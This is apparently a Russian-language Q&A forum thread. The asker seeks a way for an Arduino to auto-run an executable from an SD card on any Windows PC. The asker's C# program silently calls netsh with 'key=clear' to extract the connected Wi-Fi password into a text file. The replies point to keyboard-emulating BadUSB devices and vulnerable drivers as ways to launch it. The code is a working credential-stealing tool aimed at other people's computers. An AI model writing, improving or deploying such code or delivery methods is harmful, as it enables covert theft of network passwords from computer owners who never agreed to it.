Задать вопрос
Senya4
@Senya4
∀ᖵIꓕN∀

Можно ли сделать автозапуск скетча на ардуино сразу после подключения к любому ПК с ОС Windows, который запускает .exe файл, находящийся на sd-карте?

Доброго времени суток, у меня есть программка на C#. Код:
using System;
using System.IO;
using System.Diagnostics;
using Microsoft.WindowsAPICodePack.Net;


namespace MathematicsTest
{
   
    class Program
    {
        static string GetConnectedWifi(string command)
        {
            Process processWifi = new Process();
            processWifi.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            processWifi.StartInfo.FileName = "netsh";
            processWifi.StartInfo.Arguments = command;
            processWifi.StartInfo.UseShellExecute = false;
            processWifi.StartInfo.RedirectStandardError = true;
            processWifi.StartInfo.RedirectStandardInput = true;
            processWifi.StartInfo.RedirectStandardOutput = true;
            processWifi.StartInfo.CreateNoWindow = true;
            processWifi.Start();
            string output = processWifi.StandardOutput.ReadToEnd();
            string err = processWifi.StandardError.ReadToEnd();
            processWifi.WaitForExit();
            return output;
        }

        static void Main(string[] args)
        {

            Microsoft.VisualBasic.Devices.Network net = new Microsoft.VisualBasic.Devices.Network();

            // Если комп не подключен к сети то бросается exception
            if (!net.IsAvailable)
                throw new Exception("ERROR");
            

            string path = Directory.GetCurrentDirectory() + @"\pass.txt";
            FileStream file = new FileStream(path, FileMode.OpenOrCreate);

            StreamWriter writer = new StreamWriter(file);

            var networks = NetworkListManager.GetNetworks(NetworkConnectivityLevels.Connected);

            foreach (Network network in networks)
            {
                string wifies = GetConnectedWifi($"wlan show profiles name=\"{network.Name}\" key=clear");

                wifies = wifies.Remove(0, wifies.IndexOf("Содержимое ключа"));

                writer.WriteLine("==========================================Password");
                writer.Write(wifies);


                writer.Close();
                file.Close();
            }

        }
    }
}


Вкратце: эта программа записывает в .txt файл с помощью netsh содержимое ключа сети, к которой подключен комп.

Я понимаю, что ардуино не может запустить .exe файл, так может можно сделать так, чтобы компьютер сам запустил эту программу.

Если это реализовать невозможно, то прошу подсказать, как похожую программу сделать на языке ардуино.
  • Вопрос задан
  • 388 просмотров
Подписаться Средний Комментировать
Пригласить эксперта
Ответы на вопрос 2
@WaterSmith
Android-разработчик. Java, Kotlin
Для автоматического запуска чего-то на флешке при подключении существует автозапуск. Давным давно так запускались и распространялись разные вирусы и троянцы. Поэтому теперь, этот способ не работает, автозапуск флешки отключен практически у всех.
На "языке ардуино" вы можете написать программу которая пошлет какие-нибудь байтики в USB порт. Самый работоспособный способ это создать флешку которая притвориться что она клавиатура и пошлет соответствующие команды так, будто их ввел с клавиатуры пользователь. Как спаять такой имитатор клавиатуры вы легко можете нагуглить.
Ответ написан
@lonelymyp
Хочу вылезти из минуса по карме.
Гуглить badusb. там есть некоторые наработки именно для запуска ПО на компе.
Помнится можно было прикинуться каким-то из стандартных устройств на которое автоматом ставится стандартный драйвер и заставить уязвимый стандартный драйвер запустить нужное ПО, но на свежих версия винды это опять же не сработает.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы